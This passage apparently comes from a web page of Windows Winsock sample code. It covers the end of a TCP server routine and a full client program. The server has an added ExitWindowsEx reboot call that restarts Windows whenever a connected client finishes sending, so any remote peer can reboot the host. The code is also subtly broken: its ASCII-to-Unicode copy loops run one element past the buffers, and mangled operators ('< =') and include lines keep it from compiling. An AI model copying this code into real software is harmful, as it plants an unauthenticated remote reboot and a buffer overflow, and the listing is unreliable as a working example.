wsprintf (szError, TEXT("Binding socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}
// Establish a socket to listen for incoming connections.
if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Listening to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}
accept_sin_len = sizeof (accept_sin);
// Accept an incoming connection attempt on WinSocket.
ClientSock = accept (WinSocket,
(struct sockaddr *) &accept_sin,
(int *) &accept_sin_len);
// Stop listening for connections from clients.
closesocket (WinSocket);
if (ClientSock == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Accepting connection with client failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
for (;;)
{
// Receive data from the client.
iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);
// Check if there is any data received. If there is, display it.
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT("No data is received, recv failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Server"), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Server"),
MB_OK);
ExitWindowsEx(EWX_REBOOT,0); //restart windows
break;
}
else
{
// Convert the ASCII string to the UNICODE string.
for (index = 0; index < = sizeof (szServerA); index++)
szServerW[index] = szServerA[index];
// Display the string received from the client.
MessageBox (NULL, szServerW, TEXT("Received From Client"), MB_OK);
}
}
// Send a string from the server to the client.
if (send (ClientSock, "To Client.", strlen ("To Client.") + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Sending data to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}
// Disable both sending and receiving on ClientSock.
shutdown (ClientSock, 0x02);
// Close ClientSock.
closesocket (ClientSock);
WSACleanup ();
return TRUE;
}
客戶端程序:
#include < windows.h>
#include < winsock.h>
#define PORTNUM 5000 // Port number
#define HOSTNAME "localhost" // Server name string
// This should be changed
// according to the server
int WINAPI WinMain (
HINSTANCE hInstance, // Handle to the current instance
HINSTANCE hPrevInstance,// Handle to the previous instance
LPTSTR lpCmdLine, // Pointer to the command line
int nCmdShow) // Show state of the window
{
int index = 0, // Integer index
iReturn; // Return value of recv function
char szClientA[100]; // ASCII string
TCHAR szClientW[100]; // UNICODE string
TCHAR szError[100]; // Error message string
SOCKET ServerSock = INVALID_SOCKET; // Socket bound to the server
SOCKADDR_IN destination_sin; // Server socket address
PHOSTENT phostent = NULL; // Points to the HOSTENT structure
// of the server
WSADATA WSAData; // Contains details of the Windows
// Sockets implementation
// Initiate Windows Sockets.
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Create a TCP/IP socket that is bound to the server.
if ((ServerSock = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Fill out the server socket's address information.
destination_sin.sin_family = AF_INET;
// Retrieve the host information corresponding to the host name.
if ((phostent = gethostbyname (HOSTNAME)) == NULL)
{
wsprintf (szError, TEXT("Unable to get the host name. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}
// Assign the socket IP address.
memcpy ((char FAR *)&(destination_sin.sin_addr),
phostent->h_addr,
phostent->h_length);
// Convert to network ordering.
destination_sin.sin_port = htons (PORTNUM);
// Establish a connection to the server socket.
if (connect (ServerSock,
(PSOCKADDR) &destination_sin,
sizeof (destination_sin)) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Connecting to the server failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}
// Send a string to the server.
if (send (ServerSock, "To Server.", strlen ("To Server.") + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Sending data to the server failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}
// Disable sending on ServerSock.
shutdown (ServerSock, 0x01);
for (;;)
{
// Receive data from the server socket.
iReturn = recv (ServerSock, szClientA, sizeof (szClientA), 0);
// Check if there is any data received. If there is, display it.
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT("No data is received, recv failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Client"), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Client"),
MB_OK);
break;
}
else
{
// Convert the ASCII string to the UNICODE string.
for (index = 0; index < = sizeof (szClientA); index++)
szClientW[index] = szClientA[index];
// Display the string received from the server.
MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);
}
}
// Disable receiving on ServerSock.
shutdown (ServerSock, 0x00);
// Close the socket.
closesocket (ServerSock);
WSACleanup ();
return TRUE;
}
Hits: 51